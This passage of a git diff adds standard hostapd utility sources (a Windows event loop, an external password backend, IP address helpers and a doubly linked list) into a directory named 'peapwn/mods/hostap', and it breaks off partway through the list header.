to the timeout + * @handler: Matching callback function + * @eloop_data: Matching eloop_data + * @user_data: Matching user_data + * Returns: 1 if the timeout is depleted, 0 if no change is made + * + * Find a registered matching timeout. If found, + * deplete the timeout if remaining time is more than the requested time. + */ +int eloop_deplete_timeout(unsigned int req_secs, unsigned int req_usecs, + eloop_timeout_handler handler, void *eloop_data, + void *user_data); + +/** + * eloop_replenish_timeout - Replenish a timeout that is already registered + * @req_secs: Requested number of seconds to the timeout + * @req_usecs: Requested number of microseconds to the timeout + * @handler: Matching callback function + * @eloop_data: Matching eloop_data + * @user_data: Matching user_data + * Returns: 1 if the timeout is replenished, 0 if no change is made + * + * Find a registered matching timeout. If found, + * replenish the timeout if remaining time is less than the requested time. + */ +int eloop_replenish_timeout(unsigned int req_secs, unsigned int req_usecs, + eloop_timeout_handler handler, void *eloop_data, + void *user_data); + +/** + * eloop_register_signal - Register handler for signals + * @sig: Signal number (e.g., SIGHUP) + * @handler: Callback function to be called when the signal is received + * @user_data: Callback context data (signal_ctx) + * Returns: 0 on success, -1 on failure + * + * Register a callback function that will be called when a signal is received. + * The callback function is actually called only after the system signal + * handler has returned. This means that the normal limits for sighandlers + * (i.e., only "safe functions" allowed) do not apply for the registered + * callback. + */ +int eloop_register_signal(int sig, eloop_signal_handler handler, + void *user_data); + +/** + * eloop_register_signal_terminate - Register handler for terminate signals + * @handler: Callback function to be called when the signal is received + * @user_data: Callback context data (signal_ctx) + * Returns: 0 on success, -1 on failure + * + * Register a callback function that will be called when a process termination + * signal is received. The callback function is actually called only after the + * system signal handler has returned. This means that the normal limits for + * sighandlers (i.e., only "safe functions" allowed) do not apply for the + * registered callback. + * + * This function is a more portable version of eloop_register_signal() since + * the knowledge of exact details of the signals is hidden in eloop + * implementation. In case of operating systems using signal(), this function + * registers handlers for SIGINT and SIGTERM. + */ +int eloop_register_signal_terminate(eloop_signal_handler handler, + void *user_data); + +/** + * eloop_register_signal_reconfig - Register handler for reconfig signals + * @handler: Callback function to be called when the signal is received + * @user_data: Callback context data (signal_ctx) + * Returns: 0 on success, -1 on failure + * + * Register a callback function that will be called when a reconfiguration / + * hangup signal is received. The callback function is actually called only + * after the system signal handler has returned. This means that the normal + * limits for sighandlers (i.e., only "safe functions" allowed) do not apply + * for the registered callback. + * + * This function is a more portable version of eloop_register_signal() since + * the knowledge of exact details of the signals is hidden in eloop + * implementation. In case of operating systems using signal(), this function + * registers a handler for SIGHUP. + */ +int eloop_register_signal_reconfig(eloop_signal_handler handler, + void *user_data); + +/** + * eloop_run - Start the event loop + * + * Start the event loop and continue running as long as there are any + * registered event handlers. This function is run after event loop has been + * initialized with event_init() and one or more events have been registered. + */ +void eloop_run(void); + +/** + * eloop_terminate - Terminate event loop + * + * Terminate event loop even if there are registered events. This can be used + * to request the program to be terminated cleanly. + */ +void eloop_terminate(void); + +/** + * eloop_destroy - Free any resources allocated for the event loop + * + * After calling eloop_destroy(), other eloop_* functions must not be called + * before re-running eloop_init(). + */ +void eloop_destroy(void); + +/** + * eloop_terminated - Check whether event loop has been terminated + * Returns: 1 = event loop terminate, 0 = event loop still running + * + * This function can be used to check whether eloop_terminate() has been called + * to request termination of the event loop. This is normally used to abort + * operations that may still be queued to be run when eloop_terminate() was + * called. + */ +int eloop_terminated(void); + +/** + * eloop_wait_for_read_sock - Wait for a single reader + * @sock: File descriptor number for the socket + * + * Do a blocking wait for a single read socket. + */ +void eloop_wait_for_read_sock(int sock); + +#endif /* ELOOP_H */ diff --git a/peapwn/mods/hostap/src/utils/eloop_win.c b/peapwn/mods/hostap/src/utils/eloop_win.c new file mode 100644 index 000000000..a1f999648 --- /dev/null +++ b/peapwn/mods/hostap/src/utils/eloop_win.c @@ -0,0 +1,692 @@ +/* + * Event loop based on Windows events and WaitForMultipleObjects + * Copyright (c) 2002-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include + +#include "common.h" +#include "list.h" +#include "eloop.h" + + +struct eloop_sock { + int sock; + void *eloop_data; + void *user_data; + eloop_sock_handler handler; + WSAEVENT event; +}; + +struct eloop_event { + void *eloop_data; + void *user_data; + eloop_event_handler handler; + HANDLE event; +}; + +struct eloop_timeout { + struct dl_list list; + struct os_reltime time; + void *eloop_data; + void *user_data; + eloop_timeout_handler handler; +}; + +struct eloop_signal { + int sig; + void *user_data; + eloop_signal_handler handler; + int signaled; +}; + +struct eloop_data { + int max_sock; + size_t reader_count; + struct eloop_sock *readers; + + size_t event_count; + struct eloop_event *events; + + struct dl_list timeout; + + int signal_count; + struct eloop_signal *signals; + int signaled; + int pending_terminate; + + int terminate; + int reader_table_changed; + + struct eloop_signal term_signal; + HANDLE term_event; + + HANDLE *handles; + size_t num_handles; +}; + +static struct eloop_data eloop; + + +int eloop_init(void) +{ + os_memset(&eloop, 0, sizeof(eloop)); + dl_list_init(&eloop.timeout); + eloop.num_handles = 1; + eloop.handles = os_malloc(eloop.num_handles * + sizeof(eloop.handles[0])); + if (eloop.handles == NULL) + return -1; + + eloop.term_event = CreateEvent(NULL, FALSE, FALSE, NULL); + if (eloop.term_event == NULL) { + printf("CreateEvent() failed: %d\n", + (int) GetLastError()); + os_free(eloop.handles); + return -1; + } + + return 0; +} + + +static int eloop_prepare_handles(void) +{ + HANDLE *n; + + if (eloop.num_handles > eloop.reader_count + eloop.event_count + 8) + return 0; + n = os_realloc_array(eloop.handles, eloop.num_handles * 2, + sizeof(eloop.handles[0])); + if (n == NULL) + return -1; + eloop.handles = n; + eloop.num_handles *= 2; + return 0; +} + + +int eloop_register_read_sock(int sock, eloop_sock_handler handler, + void *eloop_data, void *user_data) +{ + WSAEVENT event; + struct eloop_sock *tmp; + + if (eloop_prepare_handles()) + return -1; + + event = WSACreateEvent(); + if (event == WSA_INVALID_EVENT) { + printf("WSACreateEvent() failed: %d\n", WSAGetLastError()); + return -1; + } + + if (WSAEventSelect(sock, event, FD_READ)) { + printf("WSAEventSelect() failed: %d\n", WSAGetLastError()); + WSACloseEvent(event); + return -1; + } + tmp = os_realloc_array(eloop.readers, eloop.reader_count + 1, + sizeof(struct eloop_sock)); + if (tmp == NULL) { + WSAEventSelect(sock, event, 0); + WSACloseEvent(event); + return -1; + } + + tmp[eloop.reader_count].sock = sock; + tmp[eloop.reader_count].eloop_data = eloop_data; + tmp[eloop.reader_count].user_data = user_data; + tmp[eloop.reader_count].handler = handler; + tmp[eloop.reader_count].event = event; + eloop.reader_count++; + eloop.readers = tmp; + if (sock > eloop.max_sock) + eloop.max_sock = sock; + eloop.reader_table_changed = 1; + + return 0; +} + + +void eloop_unregister_read_sock(int sock) +{ + size_t i; + + if (eloop.readers == NULL || eloop.reader_count == 0) + return; + + for (i = 0; i < eloop.reader_count; i++) { + if (eloop.readers[i].sock == sock) + break; + } + if (i == eloop.reader_count) + return; + + WSAEventSelect(eloop.readers[i].sock, eloop.readers[i].event, 0); + WSACloseEvent(eloop.readers[i].event); + + if (i != eloop.reader_count - 1) { + os_memmove(&eloop.readers[i], &eloop.readers[i + 1], + (eloop.reader_count - i - 1) * + sizeof(struct eloop_sock)); + } + eloop.reader_count--; + eloop.reader_table_changed = 1; +} + + +int eloop_register_event(void *event, size_t event_size, + eloop_event_handler handler, + void *eloop_data, void *user_data) +{ + struct eloop_event *tmp; + HANDLE h = event; + + if (event_size != sizeof(HANDLE) || h == INVALID_HANDLE_VALUE) + return -1; + + if (eloop_prepare_handles()) + return -1; + + tmp = os_realloc_array(eloop.events, eloop.event_count + 1, + sizeof(struct eloop_event)); + if (tmp == NULL) + return -1; + + tmp[eloop.event_count].eloop_data = eloop_data; + tmp[eloop.event_count].user_data = user_data; + tmp[eloop.event_count].handler = handler; + tmp[eloop.event_count].event = h; + eloop.event_count++; + eloop.events = tmp; + + return 0; +} + + +void eloop_unregister_event(void *event, size_t event_size) +{ + size_t i; + HANDLE h = event; + + if (eloop.events == NULL || eloop.event_count == 0 || + event_size != sizeof(HANDLE)) + return; + + for (i = 0; i < eloop.event_count; i++) { + if (eloop.events[i].event == h) + break; + } + if (i == eloop.event_count) + return; + + if (i != eloop.event_count - 1) { + os_memmove(&eloop.events[i], &eloop.events[i + 1], + (eloop.event_count - i - 1) * + sizeof(struct eloop_event)); + } + eloop.event_count--; +} + + +int eloop_register_timeout(unsigned int secs, unsigned int usecs, + eloop_timeout_handler handler, + void *eloop_data, void *user_data) +{ + struct eloop_timeout *timeout, *tmp; + os_time_t now_sec; + + timeout = os_zalloc(sizeof(*timeout)); + if (timeout == NULL) + return -1; + if (os_get_reltime(&timeout->time) < 0) { + os_free(timeout); + return -1; + } + now_sec = timeout->time.sec; + timeout->time.sec += secs; + if (timeout->time.sec < now_sec) { + /* + * Integer overflow - assume long enough timeout to be assumed + * to be infinite, i.e., the timeout would never happen. + */ + wpa_printf(MSG_DEBUG, "ELOOP: Too long timeout (secs=%u) to " + "ever happen - ignore it", secs); + os_free(timeout); + return 0; + } + timeout->time.usec += usecs; + while (timeout->time.usec >= 1000000) { + timeout->time.sec++; + timeout->time.usec -= 1000000; + } + timeout->eloop_data = eloop_data; + timeout->user_data = user_data; + timeout->handler = handler; + + /* Maintain timeouts in order of increasing time */ + dl_list_for_each(tmp, &eloop.timeout, struct eloop_timeout, list) { + if (os_reltime_before(&timeout->time, &tmp->time)) { + dl_list_add(tmp->list.prev, &timeout->list); + return 0; + } + } + dl_list_add_tail(&eloop.timeout, &timeout->list); + + return 0; +} + + +static void eloop_remove_timeout(struct eloop_timeout *timeout) +{ + dl_list_del(&timeout->list); + os_free(timeout); +} + + +int eloop_cancel_timeout(eloop_timeout_handler handler, + void *eloop_data, void *user_data) +{ + struct eloop_timeout *timeout, *prev; + int removed = 0; + + dl_list_for_each_safe(timeout, prev, &eloop.timeout, + struct eloop_timeout, list) { + if (timeout->handler == handler && + (timeout->eloop_data == eloop_data || + eloop_data == ELOOP_ALL_CTX) && + (timeout->user_data == user_data || + user_data == ELOOP_ALL_CTX)) { + eloop_remove_timeout(timeout); + removed++; + } + } + + return removed; +} + + +int eloop_cancel_timeout_one(eloop_timeout_handler handler, + void *eloop_data, void *user_data, + struct os_reltime *remaining) +{ + struct eloop_timeout *timeout, *prev; + int removed = 0; + struct os_reltime now; + + os_get_reltime(&now); + remaining->sec = remaining->usec = 0; + + dl_list_for_each_safe(timeout, prev, &eloop.timeout, + struct eloop_timeout, list) { + if (timeout->handler == handler && + (timeout->eloop_data == eloop_data) && + (timeout->user_data == user_data)) { + removed = 1; + if (os_reltime_before(&now, &timeout->time)) + os_reltime_sub(&timeout->time, &now, remaining); + eloop_remove_timeout(timeout); + break; + } + } + return removed; +} + + +int eloop_is_timeout_registered(eloop_timeout_handler handler, + void *eloop_data, void *user_data) +{ + struct eloop_timeout *tmp; + + dl_list_for_each(tmp, &eloop.timeout, struct eloop_timeout, list) { + if (tmp->handler == handler && + tmp->eloop_data == eloop_data && + tmp->user_data == user_data) + return 1; + } + + return 0; +} + + +int eloop_deplete_timeout(unsigned int req_secs, unsigned int req_usecs, + eloop_timeout_handler handler, void *eloop_data, + void *user_data) +{ + struct os_reltime now, requested, remaining; + struct eloop_timeout *tmp; + + dl_list_for_each(tmp, &eloop.timeout, struct eloop_timeout, list) { + if (tmp->handler == handler && + tmp->eloop_data == eloop_data && + tmp->user_data == user_data) { + requested.sec = req_secs; + requested.usec = req_usecs; + os_get_reltime(&now); + os_reltime_sub(&tmp->time, &now, &remaining); + if (os_reltime_before(&requested, &remaining)) { + eloop_cancel_timeout(handler, eloop_data, + user_data); + eloop_register_timeout(requested.sec, + requested.usec, + handler, eloop_data, + user_data); + return 1; + } + } + } + + return 0; +} + + +int eloop_replenish_timeout(unsigned int req_secs, unsigned int req_usecs, + eloop_timeout_handler handler, void *eloop_data, + void *user_data) +{ + struct os_reltime now, requested, remaining; + struct eloop_timeout *tmp; + + dl_list_for_each(tmp, &eloop.timeout, struct eloop_timeout, list) { + if (tmp->handler == handler && + tmp->eloop_data == eloop_data && + tmp->user_data == user_data) { + requested.sec = req_secs; + requested.usec = req_usecs; + os_get_reltime(&now); + os_reltime_sub(&tmp->time, &now, &remaining); + if (os_reltime_before(&remaining, &requested)) { + eloop_cancel_timeout(handler, eloop_data, + user_data); + eloop_register_timeout(requested.sec, + requested.usec, + handler, eloop_data, + user_data); + return 1; + } + } + } + + return 0; +} + + +/* TODO: replace with suitable signal handler */ +#if 0 +static void eloop_handle_signal(int sig) +{ + int i; + + eloop.signaled++; + for (i = 0; i < eloop.signal_count; i++) { + if (eloop.signals[i].sig == sig) { + eloop.signals[i].signaled++; + break; + } + } +} +#endif + + +static void eloop_process_pending_signals(void) +{ + int i; + + if (eloop.signaled == 0) + return; + eloop.signaled = 0; + + if (eloop.pending_terminate) { + eloop.pending_terminate = 0; + } + + for (i = 0; i < eloop.signal_count; i++) { + if (eloop.signals[i].signaled) { + eloop.signals[i].signaled = 0; + eloop.signals[i].handler(eloop.signals[i].sig, + eloop.signals[i].user_data); + } + } + + if (eloop.term_signal.signaled) { + eloop.term_signal.signaled = 0; + eloop.term_signal.handler(eloop.term_signal.sig, + eloop.term_signal.user_data); + } +} + + +int eloop_register_signal(int sig, eloop_signal_handler handler, + void *user_data) +{ + struct eloop_signal *tmp; + + tmp = os_realloc_array(eloop.signals, eloop.signal_count + 1, + sizeof(struct eloop_signal)); + if (tmp == NULL) + return -1; + + tmp[eloop.signal_count].sig = sig; + tmp[eloop.signal_count].user_data = user_data; + tmp[eloop.signal_count].handler = handler; + tmp[eloop.signal_count].signaled = 0; + eloop.signal_count++; + eloop.signals = tmp; + + /* TODO: register signal handler */ + + return 0; +} + + +#ifndef _WIN32_WCE +static BOOL eloop_handle_console_ctrl(DWORD type) +{ + switch (type) { + case CTRL_C_EVENT: + case CTRL_BREAK_EVENT: + eloop.signaled++; + eloop.term_signal.signaled++; + SetEvent(eloop.term_event); + return TRUE; + default: + return FALSE; + } +} +#endif /* _WIN32_WCE */ + + +int eloop_register_signal_terminate(eloop_signal_handler handler, + void *user_data) +{ +#ifndef _WIN32_WCE + if (SetConsoleCtrlHandler((PHANDLER_ROUTINE) eloop_handle_console_ctrl, + TRUE) == 0) { + printf("SetConsoleCtrlHandler() failed: %d\n", + (int) GetLastError()); + return -1; + } +#endif /* _WIN32_WCE */ + + eloop.term_signal.handler = handler; + eloop.term_signal.user_data = user_data; + + return 0; +} + + +int eloop_register_signal_reconfig(eloop_signal_handler handler, + void *user_data) +{ + /* TODO */ + return 0; +} + + +void eloop_run(void) +{ + struct os_reltime tv, now; + DWORD count, ret, timeout_val, err; + size_t i; + + while (!eloop.terminate && + (!dl_list_empty(&eloop.timeout) || eloop.reader_count > 0 || + eloop.event_count > 0)) { + struct eloop_timeout *timeout; + tv.sec = tv.usec = 0; + timeout = dl_list_first(&eloop.timeout, struct eloop_timeout, + list); + if (timeout) { + os_get_reltime(&now); + if (os_reltime_before(&now, &timeout->time)) + os_reltime_sub(&timeout->time, &now, &tv); + } + + count = 0; + for (i = 0; i < eloop.event_count; i++) + eloop.handles[count++] = eloop.events[i].event; + + for (i = 0; i < eloop.reader_count; i++) + eloop.handles[count++] = eloop.readers[i].event; + + if (eloop.term_event) + eloop.handles[count++] = eloop.term_event; + + if (timeout) + timeout_val = tv.sec * 1000 + tv.usec / 1000; + else + timeout_val = INFINITE; + + if (count > MAXIMUM_WAIT_OBJECTS) { + printf("WaitForMultipleObjects: Too many events: " + "%d > %d (ignoring extra events)\n", + (int) count, MAXIMUM_WAIT_OBJECTS); + count = MAXIMUM_WAIT_OBJECTS; + } +#ifdef _WIN32_WCE + ret = WaitForMultipleObjects(count, eloop.handles, FALSE, + timeout_val); +#else /* _WIN32_WCE */ + ret = WaitForMultipleObjectsEx(count, eloop.handles, FALSE, + timeout_val, TRUE); +#endif /* _WIN32_WCE */ + err = GetLastError(); + + eloop_process_pending_signals(); + + /* check if some registered timeouts have occurred */ + timeout = dl_list_first(&eloop.timeout, struct eloop_timeout, + list); + if (timeout) { + os_get_reltime(&now); + if (!os_reltime_before(&now, &timeout->time)) { + void *eloop_data = timeout->eloop_data; + void *user_data = timeout->user_data; + eloop_timeout_handler handler = + timeout->handler; + eloop_remove_timeout(timeout); + handler(eloop_data, user_data); + } + + } + + if (ret == WAIT_FAILED) { + printf("WaitForMultipleObjects(count=%d) failed: %d\n", + (int) count, (int) err); + os_sleep(1, 0); + continue; + } + +#ifndef _WIN32_WCE + if (ret == WAIT_IO_COMPLETION) + continue; +#endif /* _WIN32_WCE */ + + if (ret == WAIT_TIMEOUT) + continue; + + while (ret >= WAIT_OBJECT_0 && + ret < WAIT_OBJECT_0 + eloop.event_count) { + eloop.events[ret].handler( + eloop.events[ret].eloop_data, + eloop.events[ret].user_data); + ret = WaitForMultipleObjects(eloop.event_count, + eloop.handles, FALSE, 0); + } + + eloop.reader_table_changed = 0; + for (i = 0; i < eloop.reader_count; i++) { + WSANETWORKEVENTS events; + if (WSAEnumNetworkEvents(eloop.readers[i].sock, + eloop.readers[i].event, + &events) == 0 && + (events.lNetworkEvents & FD_READ)) { + eloop.readers[i].handler( + eloop.readers[i].sock, + eloop.readers[i].eloop_data, + eloop.readers[i].user_data); + if (eloop.reader_table_changed) + break; + } + } + } +} + + +void eloop_terminate(void) +{ + eloop.terminate = 1; + SetEvent(eloop.term_event); +} + + +void eloop_destroy(void) +{ + struct eloop_timeout *timeout, *prev; + + dl_list_for_each_safe(timeout, prev, &eloop.timeout, + struct eloop_timeout, list) { + eloop_remove_timeout(timeout); + } + os_free(eloop.readers); + os_free(eloop.signals); + if (eloop.term_event) + CloseHandle(eloop.term_event); + os_free(eloop.handles); + eloop.handles = NULL; + os_free(eloop.events); + eloop.events = NULL; +} + + +int eloop_terminated(void) +{ + return eloop.terminate; +} + + +void eloop_wait_for_read_sock(int sock) +{ + WSAEVENT event; + + event = WSACreateEvent(); + if (event == WSA_INVALID_EVENT) { + printf("WSACreateEvent() failed: %d\n", WSAGetLastError()); + return; + } + + if (WSAEventSelect(sock, event, FD_READ)) { + printf("WSAEventSelect() failed: %d\n", WSAGetLastError()); + WSACloseEvent(event); + return ; + } + + WaitForSingleObject(event, INFINITE); + WSAEventSelect(sock, event, 0); + WSACloseEvent(event); +} diff --git a/peapwn/mods/hostap/src/utils/ext_password.c b/peapwn/mods/hostap/src/utils/ext_password.c new file mode 100644 index 000000000..06131197a --- /dev/null +++ b/peapwn/mods/hostap/src/utils/ext_password.c @@ -0,0 +1,116 @@ +/* + * External password backend + * Copyright (c) 2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#ifdef __linux__ +#include +#endif /* __linux__ */ + +#include "common.h" +#include "ext_password_i.h" + + +#ifdef CONFIG_EXT_PASSWORD_TEST +extern struct ext_password_backend ext_password_test; +#endif /* CONFIG_EXT_PASSWORD_TEST */ + +static const struct ext_password_backend *backends[] = { +#ifdef CONFIG_EXT_PASSWORD_TEST + &ext_password_test, +#endif /* CONFIG_EXT_PASSWORD_TEST */ + NULL +}; + +struct ext_password_data { + const struct ext_password_backend *backend; + void *priv; +}; + + +struct ext_password_data * ext_password_init(const char *backend, + const char *params) +{ + struct ext_password_data *data; + int i; + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + + for (i = 0; backends[i]; i++) { + if (os_strcmp(backends[i]->name, backend) == 0) { + data->backend = backends[i]; + break; + } + } + + if (!data->backend) { + os_free(data); + return NULL; + } + + data->priv = data->backend->init(params); + if (data->priv == NULL) { + os_free(data); + return NULL; + } + + return data; +} + + +void ext_password_deinit(struct ext_password_data *data) +{ + if (data && data->backend && data->priv) + data->backend->deinit(data->priv); + os_free(data); +} + + +struct wpabuf * ext_password_get(struct ext_password_data *data, + const char *name) +{ + if (data == NULL) + return NULL; + return data->backend->get(data->priv, name); +} + + +struct wpabuf * ext_password_alloc(size_t len) +{ + struct wpabuf *buf; + + buf = wpabuf_alloc(len); + if (buf == NULL) + return NULL; + +#ifdef __linux__ + if (mlock(wpabuf_head(buf), wpabuf_len(buf)) < 0) { + wpa_printf(MSG_ERROR, "EXT PW: mlock failed: %s", + strerror(errno)); + } +#endif /* __linux__ */ + + return buf; +} + + +void ext_password_free(struct wpabuf *pw) +{ + if (pw == NULL) + return; + os_memset(wpabuf_mhead(pw), 0, wpabuf_len(pw)); +#ifdef __linux__ + if (munlock(wpabuf_head(pw), wpabuf_len(pw)) < 0) { + wpa_printf(MSG_ERROR, "EXT PW: munlock failed: %s", + strerror(errno)); + } +#endif /* __linux__ */ + wpabuf_free(pw); +} diff --git a/peapwn/mods/hostap/src/utils/ext_password.h b/peapwn/mods/hostap/src/utils/ext_password.h new file mode 100644 index 000000000..e3e46ea08 --- /dev/null +++ b/peapwn/mods/hostap/src/utils/ext_password.h @@ -0,0 +1,33 @@ +/* + * External password backend + * Copyright (c) 2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EXT_PASSWORD_H +#define EXT_PASSWORD_H + +struct ext_password_data; + +#ifdef CONFIG_EXT_PASSWORD + +struct ext_password_data * ext_password_init(const char *backend, + const char *params); +void ext_password_deinit(struct ext_password_data *data); + +struct wpabuf * ext_password_get(struct ext_password_data *data, + const char *name); +void ext_password_free(struct wpabuf *pw); + +#else /* CONFIG_EXT_PASSWORD */ + +#define ext_password_init(b, p) ((void *) 1) +#define ext_password_deinit(d) do { } while (0) +#define ext_password_get(d, n) (NULL) +#define ext_password_free(p) do { } while (0) + +#endif /* CONFIG_EXT_PASSWORD */ + +#endif /* EXT_PASSWORD_H */ diff --git a/peapwn/mods/hostap/src/utils/ext_password_i.h b/peapwn/mods/hostap/src/utils/ext_password_i.h new file mode 100644 index 000000000..043e7312c --- /dev/null +++ b/peapwn/mods/hostap/src/utils/ext_password_i.h @@ -0,0 +1,23 @@ +/* + * External password backend - internal definitions + * Copyright (c) 2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EXT_PASSWORD_I_H +#define EXT_PASSWORD_I_H + +#include "ext_password.h" + +struct ext_password_backend { + const char *name; + void * (*init)(const char *params); + void (*deinit)(void *ctx); + struct wpabuf * (*get)(void *ctx, const char *name); +}; + +struct wpabuf * ext_password_alloc(size_t len); + +#endif /* EXT_PASSWORD_I_H */ diff --git a/peapwn/mods/hostap/src/utils/ext_password_test.c b/peapwn/mods/hostap/src/utils/ext_password_test.c new file mode 100644 index 000000000..3801bb854 --- /dev/null +++ b/peapwn/mods/hostap/src/utils/ext_password_test.c @@ -0,0 +1,90 @@ +/* + * External password backend + * Copyright (c) 2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "ext_password_i.h" + + +struct ext_password_test_data { + char *params; +}; + + +static void * ext_password_test_init(const char *params) +{ + struct ext_password_test_data *data; + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + + if (params) + data->params = os_strdup(params); + + return data; +} + + +static void ext_password_test_deinit(void *ctx) +{ + struct ext_password_test_data *data = ctx; + + os_free(data->params); + os_free(data); +} + + +static struct wpabuf * ext_password_test_get(void *ctx, const char *name) +{ + struct ext_password_test_data *data = ctx; + char *pos, *pos2; + size_t nlen; + + wpa_printf(MSG_DEBUG, "EXT PW TEST: get(%s)", name); + + pos = data->params; + if (pos == NULL) + return NULL; + nlen = os_strlen(name); + + while (pos && *pos) { + if (os_strncmp(pos, name, nlen) == 0 && pos[nlen] == '=') { + struct wpabuf *buf; + pos += nlen + 1; + pos2 = pos; + while (*pos2 != '|' && *pos2 != '\0') + pos2++; + buf = ext_password_alloc(pos2 - pos); + if (buf == NULL) + return NULL; + wpabuf_put_data(buf, pos, pos2 - pos); + wpa_hexdump_ascii_key(MSG_DEBUG, "EXT PW TEST: value", + wpabuf_head(buf), + wpabuf_len(buf)); + return buf; + } + + pos = os_strchr(pos + 1, '|'); + if (pos) + pos++; + } + + wpa_printf(MSG_DEBUG, "EXT PW TEST: get(%s) - not found", name); + + return NULL; +} + + +const struct ext_password_backend ext_password_test = { + .name = "test", + .init = ext_password_test_init, + .deinit = ext_password_test_deinit, + .get = ext_password_test_get, +}; diff --git a/peapwn/mods/hostap/src/utils/includes.h b/peapwn/mods/hostap/src/utils/includes.h new file mode 100644 index 000000000..6c6ec87d0 --- /dev/null +++ b/peapwn/mods/hostap/src/utils/includes.h @@ -0,0 +1,50 @@ +/* + * wpa_supplicant/hostapd - Default include files + * Copyright (c) 2005-2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * This header file is included into all C files so that commonly used header + * files can be selected with OS specific ifdef blocks in one place instead of + * having to have OS/C library specific selection in many files. + */ + +#ifndef INCLUDES_H +#define INCLUDES_H + +/* Include possible build time configuration before including anything else */ +#include "build_config.h" + +#include +#include +#include +#include +#ifndef _WIN32_WCE +#ifndef CONFIG_TI_COMPILER +#include +#include +#endif /* CONFIG_TI_COMPILER */ +#include +#endif /* _WIN32_WCE */ +#include + +#ifndef CONFIG_TI_COMPILER +#ifndef _MSC_VER +#include +#endif /* _MSC_VER */ +#endif /* CONFIG_TI_COMPILER */ + +#ifndef CONFIG_NATIVE_WINDOWS +#ifndef CONFIG_TI_COMPILER +#include +#include +#include +#ifndef __vxworks +#include +#include +#endif /* __vxworks */ +#endif /* CONFIG_TI_COMPILER */ +#endif /* CONFIG_NATIVE_WINDOWS */ + +#endif /* INCLUDES_H */ diff --git a/peapwn/mods/hostap/src/utils/ip_addr.c b/peapwn/mods/hostap/src/utils/ip_addr.c new file mode 100644 index 000000000..3647c764e --- /dev/null +++ b/peapwn/mods/hostap/src/utils/ip_addr.c @@ -0,0 +1,77 @@ +/* + * IP address processing + * Copyright (c) 2003-2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "ip_addr.h" + +const char * hostapd_ip_txt(const struct hostapd_ip_addr *addr, char *buf, + size_t buflen) +{ + if (buflen == 0 || addr == NULL) + return NULL; + + if (addr->af == AF_INET) { + os_strlcpy(buf, inet_ntoa(addr->u.v4), buflen); + } else { + buf[0] = '\0'; + } +#ifdef CONFIG_IPV6 + if (addr->af == AF_INET6) { + if (inet_ntop(AF_INET6, &addr->u.v6, buf, buflen) == NULL) + buf[0] = '\0'; + } +#endif /* CONFIG_IPV6 */ + + return buf; +} + + +int hostapd_ip_diff(struct hostapd_ip_addr *a, struct hostapd_ip_addr *b) +{ + if (a == NULL && b == NULL) + return 0; + if (a == NULL || b == NULL) + return 1; + + switch (a->af) { + case AF_INET: + if (a->u.v4.s_addr != b->u.v4.s_addr) + return 1; + break; +#ifdef CONFIG_IPV6 + case AF_INET6: + if (os_memcmp(&a->u.v6, &b->u.v6, sizeof(a->u.v6)) != 0) + return 1; + break; +#endif /* CONFIG_IPV6 */ + } + + return 0; +} + + +int hostapd_parse_ip_addr(const char *txt, struct hostapd_ip_addr *addr) +{ +#ifndef CONFIG_NATIVE_WINDOWS + if (inet_aton(txt, &addr->u.v4)) { + addr->af = AF_INET; + return 0; + } + +#ifdef CONFIG_IPV6 + if (inet_pton(AF_INET6, txt, &addr->u.v6) > 0) { + addr->af = AF_INET6; + return 0; + } +#endif /* CONFIG_IPV6 */ +#endif /* CONFIG_NATIVE_WINDOWS */ + + return -1; +} diff --git a/peapwn/mods/hostap/src/utils/ip_addr.h b/peapwn/mods/hostap/src/utils/ip_addr.h new file mode 100644 index 000000000..79ac20cdb --- /dev/null +++ b/peapwn/mods/hostap/src/utils/ip_addr.h @@ -0,0 +1,28 @@ +/* + * IP address processing + * Copyright (c) 2003-2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef IP_ADDR_H +#define IP_ADDR_H + +struct hostapd_ip_addr { + int af; /* AF_INET / AF_INET6 */ + union { + struct in_addr v4; +#ifdef CONFIG_IPV6 + struct in6_addr v6; +#endif /* CONFIG_IPV6 */ + u8 max_len[16]; + } u; +}; + +const char * hostapd_ip_txt(const struct hostapd_ip_addr *addr, char *buf, + size_t buflen); +int hostapd_ip_diff(struct hostapd_ip_addr *a, struct hostapd_ip_addr *b); +int hostapd_parse_ip_addr(const char *txt, struct hostapd_ip_addr *addr); + +#endif /* IP_ADDR_H */ diff --git a/peapwn/mods/hostap/src/utils/list.h b/peapwn/mods/hostap/src/utils/list.h new file mode 100644 index 000000000..688113095 --- /dev/null +++ b/peapwn/mods/hostap/src/utils/list.h @@ -0,0 +1,95 @@ +/* + * Doubly-linked list + * Copyright (c) 2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef LIST_H +#define LIST_H + +/** + * struct dl_list - Doubly-linked list + */ +struct dl_list { + struct dl_list *next; + struct dl_list *prev; +}; + +static inline void dl_list_init(struct dl_list *list) +{ + list->next = list; + list->prev = list; +} + +static inline void dl_list_add(struct dl_list *list, struct dl_list *item) +{ + item->next = list->next; + item->prev = list; + list->next->prev = item; + list->next = item; +} + +static inline void dl_list_add_tail(struct dl_list *list, struct dl_list *item) +{ + dl_list_add(list->prev, item); +} + +static inline void dl_list_del(struct dl_list *item) +{ + item->next->prev = item->prev; + item->prev->next = item->next; + item->next = NULL; + item->prev = NULL; +} + +static inline int dl_list_empty(struct dl_list *list) +{ + return list->next == list; +} + +static inline unsigned int dl_list_len(struct dl_list *list) +{ + struct dl_list *item; + int count = 0; + for (item = list->next; item != list; item = item->next) + count++; + return count; +} + +#ifndef offsetof +#define offsetof(type, member) ((long) &((type *) 0)->member) +#endif + +#define dl_list_entry(item, type, member) \ + ((type *) ((char *) item - offsetof(type, member))) + 